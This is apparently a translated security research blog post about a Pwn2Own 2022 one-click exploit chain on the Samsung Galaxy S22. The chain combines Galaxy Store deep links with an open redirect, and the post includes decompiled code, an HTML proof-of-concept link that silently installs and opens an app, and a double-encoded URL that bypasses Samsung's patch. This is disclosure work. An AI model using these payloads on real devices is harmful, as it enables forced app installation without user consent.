三星S22一键劫持:Pwn2Own 2022中的开放重定向漏洞解析

本文详细分析了在Pwn2Own 2022中利用三星S22设备上的开放重定向漏洞实现一键安装应用的技术细节,包括深度链接机制、漏洞利用链及绕过防护的方法。

旧漏洞、新漏洞与绕过——Pwn2Own 2022中一键/开放重定向控制三星S22

TLDR;

我们在Pwn2Own多伦多2022目标列表发布后立即开始了对三星的研究工作。本文将深入探讨在Pwn2Own 2022活动中发现的开放重定向漏洞的细节,以及我们如何在三星S22设备上利用它。通过分解技术方面并使用代码片段,我们旨在提供对这一关键安全漏洞的全面概述。

首先,我重新审视了我们团队去年的论文(由Li Jiantao和Nguyễn Hoàng Thạch撰写),其中确定了两个漏洞。其中一个漏洞在P2O中被利用,而另一个则被迅速修复。有趣的是,其中一个漏洞的详细文档可在此处获得,让读者更好地了解这一特定漏洞。

基本上,这个漏洞利用了三星设备上某些应用处理和解析深度链接的方式。它允许安装和启动任何应用,而无需用户的任何输入或操作。

什么是深度链接?

深度链接机制是大多数操作系统(如Windows、iOS、Linux和Android)中的一项功能。它允许程序将特定的URL或协议与操作系统关联,使用户在与这些URL交互时能够无缝重定向或打开其他程序。

例如,当您在浏览器中点击Teams会议链接时,设备上的Teams软件将自动启动并在应用中打开会议部分,而不是在浏览器中。

类似地,在Android上,已安装的应用可以向操作系统注册深度链接URL或协议。当触发深度链接时,相应的应用会处理它并确定要采取的操作。

对于三星手机,它们通常预装了一堆应用,包括Galaxy Store和Samsung Pay。这些应用具有各种权限,例如安装其他应用的能力。此外,它们处理大量深度链接,使其成为潜在黑客的有吸引力的目标。这个漏洞为黑客利用这些深度链接提供了机会。

“旧”漏洞

在审阅我同事2021年的参赛作品后,我确定了最佳关注应用:Galaxy Store。这是三星开发的第三方应用商店,出厂时预装在所有三星手机上。截至他们提交参赛作品时,他们提到的应用版本是4.5.48.3。

以下是Galaxy Store注册的一些深度链接示例:

  • betasamsungapps://GearBetaTestProductDetail → class GearBetaTestProductDetailDeepLink
  • betasamsungapps://GearBetaTestProductList → class GearBetaTestProductListDeepLink
  • normalbetasamsungapps://BetaTestProductDetail → class BetaTestProductDetailDeepLink
  • normalbetasamsungapps://instantplays → InstantPlaysDeepLink.valueOf(p0)
  • normalbetasamsungapps://BetaTestProductList → class BetaTestProductListDeepLink

当我们在Web浏览器中打开URL betasamsungapps://GearBetaTestProductList时,它会触发执行GearBetaTestProductListDeepLink.runDeepLink()方法,该方法将创建一个名为GearAppBetaTestActivity的新Intent:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class GearBetaTestProductListDeepLink extends DeepLink {
    public boolean runDeepLink(Context p0){
        this.runDeepLinkImplement(p0);
        return true;
    }
    private void runDeepLinkImplement(Context p0){
        int i;
        Intent intent = new Intent(p0, GearAppBetaTestActivity.class);
        this.registerActivityToBixby(intent);
        String str = "DeeplinkURI";
        if (!TextUtils.isEmpty(this.getDeeplinkUrl())) {
            i = 0;
            try{
                String str1 = URLDecoder.decode(this.getDeeplinkUrl(), "UTF-8");
            }catch(java.io.UnsupportedEncodingException e4){
                e4.printStackTrace();
            }
            if (!TextUtils.isEmpty(i)) {
                intent.putExtra(str, i);
            }
        }else {
            intent.putExtra(str, this.a());
        }
        i = 0x24000000;
        try{
            intent.setFlags(i);
            p0.startActivity(intent);
        }catch(java.lang.Exception e7){
            ///
        }
        return;
    }
}

在2021年的参赛作品中,我们使用了一个名为samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/的深度链接。这个特定的深度链接由一个名为McsWebViewActivity的活动处理。深度链接中的url参数决定了将加载到Galaxy Store应用内部Webview中的Web地址。为确保其有效性,使用了McsWebViewActivity中的isValidUrl()方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public boolean isValidUrl(String str) {
    boolean z = this.extra_is_deeplink;
    if (z) {
        if (z && !TextUtils.isEmpty(str)) {
            if (!str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain() + "/")) {
                if (str.startsWith(Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain() + "/") || str.startsWith("https://img.samsungapps.com/")) {
                }
            }
        }
        return false;
    }
    return true;
}

内部Webview只允许从两个特定域加载:https://us.mcsvc.samsung.comhttps://img.samsungapps.com。您可以使用Global.getInstance().getDocument().getGetCommonInfoManager().getMcsWebDomain()Global.getInstance().getDocument().getGetCommonInfoManager().getGmpWebDomain()方法检索这些域。这两个方法都将返回值https://us.mcsvc.samsung.com

内部Webview可以包含“绑定”,允许从JavaScript上下文调用Java方法。此功能促进了两种编程语言之间的无缝通信。例如,考虑以下代码片段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
//McsWebViewActivity
private void a(WebSettings p0,String p1){
    p0.setJavaScriptEnabled(true);
    EditorialScriptInterface uEditorialSc = new EditorialScriptInterface(this, this.webView);
    this.webView.addJavascriptInterface(uEditorialSc, "GalaxyStore");
}
//EditorialScriptInterface
public void downloadApp(String p0){
    ///
}

在客户端,我们可以使用GalaxyStore.downloadApp('app')函数调用EditorialScriptInterface.downloadApp()

此外,通过利用在https://us.mcsvc.samsung.com/mcp25/devops/redirect.html中发现的XSS漏洞,我们成功地在内部Webview中执行了JavaScript代码,并在三星手机上完成了应用的安装。有关更多详细信息,您可以参考以下链接:SSD Advisory: Galaxy Store Applications Installation Launching Without User Interaction。

“新”漏洞

当我开始审阅论文时,我发现XSS漏洞已经修复,测试模式已被移除。然而,我决定进一步调查这个领域,希望能找到其他漏洞。

在花费了几个小时去混淆和研究源代码后,我遇到了一个开放重定向漏洞。

https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?product=samsungpay&actionType=eventURL&fallbackUrl=http://xxxxxx

通过将开放重定向漏洞与深度链接结合,我们可以显著增加其利用潜力。请看以下示例:

samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html%3fproduct=samsungpay%26actionType=eventURL%26fallbackUrl=http://xxxxxx

当用户点击上述深度链接时,将加载一个带有URL us.mcsvc.samsung.com的Webview,然后重定向到攻击者的网站。

此外,我们能够将任何URL加载到内部Webview中。然而,我们无法使用GalaxyStore绑定来安装新应用。这一限制是由于EditorialScriptInterface.downloadApp()方法中的验证过程。该方法在允许安装新应用之前验证URL是否来自us.mcsvc.samsung.comimg.samsungapps.com

值得注意的是,与McsWebViewActivity关联的每个深度链接都由McsWebViewClient类处理,该类继承自CommonWebViewClient类。McsWebViewClient.shouldOverrideUrlLoading()方法负责检查和处理每个URL,包括重定向的URL。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    Loger.d(MCSApi.LOG_TAG, "shouldOverrideUrlLoading : " + str);
    if (webView == null || webView.getContext() == null || TextUtils.isEmpty(str)) {
        return super.shouldOverrideUrlLoading(webView, str);
    }
    Uri parse = Uri.parse(str);
    String scheme = parse.getScheme();
    String host = parse.getHost();
    if ("intent".equalsIgnoreCase(scheme)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "launch".equalsIgnoreCase(host)) {
        //...
    } else if ("samsungapps".equalsIgnoreCase(scheme) && "internalweb".equalsIgnoreCase(host)) {
        //...
    } else if (!"samsungapps".equalsIgnoreCase(scheme) || !"externalweb".equalsIgnoreCase(host)) {
        return super.shouldOverrideUrlLoading(webView, str);
    } else {
        //...
    }
}

如果URL协议不是samsungapps且主机不是internalweb,URL将由超类CommonWebViewClient.shouldOverrideUrlLoading()处理。请参阅以下代码片段作为参考:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public boolean shouldOverrideUrlLoading(WebView webView, String str) {
    if (!(str == null || str.length() == 0)) {
        Uri parse = Uri.parse(str);
        String scheme = parse.getScheme();
        String host = parse.getHost();
        if (("samsungapps".equalsIgnoreCase(scheme) || ((host.equalsIgnoreCase("apps.samsung.com") || host.equalsIgnoreCase("www.samsungapps.com")) && ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)))) && (webView.getContext() instanceof Activity) && new DeeplinkUtil((Activity) webView.getContext()).openInternalDeeplink(parse.toString())) {
            return true;
        }
        //...
    }
    return false;
}

此方法处理具有https或http协议且主机名为apps.samsung.com的URL。当遇到此类URL时,会调用DeeplinkUtil.openInternalDeeplink()函数来处理它们。

内部深度链接使用不同的方法执行,并且GalaxyStore中的某些内部深度链接可以触发自动应用安装。在Pwn2Own多伦多2022期间,我们使用了内部深度链接https://apps.samsung.com/appquery/appDetail.as?appId=<app>。此深度链接由DetailAlleyPopupDeeplink.runInternalDeepLink()函数处理:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public class DetailAlleyPopupDeeplink extends DetailPageDeepLink {
    public boolean runInternalDeepLink(Context p0){
        if (!this.launchApp(p0, this.getDetailID())) {
            String detailID = this.getDetailID();
            boolean mIsStub = this.mIsStub;
            String mSignId = this.mSignId;
            String mQueryStr = this.mQueryStr;
            String adSource = this.getAdSource();
            String source = this.getSource();
            String sender = (this.isDirectInstall())? this.getSender(): "";
            DetailLaunchHelper.launch(p0, detailID, mIsStub, mSignId, mQueryStr, adSource, source, sender, this.isDirectInstall(), this.isDirectOpen(), this.deepLinkAppName, this.commonLogData, this.getDeeplinkUrl());
        }
        return true;
    }
}

简而言之,如果您包含directInstalldirectOpen参数,应用将自动安装并在安装后立即打开!

概念验证

1
2
3
4
5
6
7
<head>
</head>
<body>
    <b><a id="exploit" href="samsungapps://MCSLaunch?action=each_event&url=https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?mcs=kr%26product=samsungpay%26actionType=eventURL%26fallbackUrl=https://apps.samsung.com/appquery/appDetail.as%253fappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup">click_me</a></b>
</body>
<script>
</script>

您可以使用fallbackUrl参数指定三星应用详细信息的深度链接。应用详细信息的深度链接格式如下:https://apps.samsung.com/appquery/appDetail.as?appId=com.sec.android.app.popupcalculator&directInstall=true&directOpen=true&form=popup

要成功演示此概念验证(PoC),用户需要至少点击一次攻击者的链接。

演示

[视频演示]

“绕过”

在比赛前一周,三星正在积极修复我发现的一个漏洞。他们进行了大约两到三次修复尝试,最终在2022年12月2日解决了它。

每次修复后,我都设法找到了绕过方法,他们修复了我的绕过。这让我相信他们正在积极监控易受攻击的us.mcsvc.samsung.com网站并应用热修复。

这个漏洞的关键方面是它主要存在于服务器端,允许三星在不通知我们的情况下修补它。

最近的更新发生在注册截止前两小时。幸运的是,我及时成功绕过了漏洞,并能够参加比赛:)

以下是我使用的补丁:

[补丁细节]

重现步骤

要重现问题,请按照以下步骤操作:

步骤1: _0x8033d6()函数中的参数_0x3015c4接收变量fallbackUrl。之后,调用_0x46f66f()函数解码存储在fallbackUrl中的URL,并将结果值赋给变量_0x1851d7

[代码片段]

步骤2: URL被解码,结果值fallbackUrl传递给_0x5ea70f()函数,以确定主机名是否匹配www.sofi.com

[代码片段]

步骤3: 如果满足指定条件,将调用location.replace()方法将用户重定向到所需URL。_0x3015c4参数将包含在重定向过程中:

[代码片段]

在步骤2中发现了一个漏洞。在此步骤中,fallbackUrl被解码为URL,然后检查主机名。然而,在重定向过程中,使用的是原始fallbackUrl而不是解码版本。

利用此漏洞,我能够构建一个绕过检查并重定向到所需主机的URL:

https://us.mcsvc.samsung.com/mcp25/devops/redirect.html?product=samsungpay&actionType=eventURL&fallbackUrl=https%253A%252F%252Fapps.samsung.com%252Fappquery%252FappDetail.as%253FappId%253dcom.sec.android.app.popupcalculator%2526directInstall%253dtrue%2526directOpen%253dtrue%2526form%253dpopup

=> ¯(ツ)/¯ 简单绕过

用户应将其Galaxy Store应用更新到最新可用版本。

参考文献

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计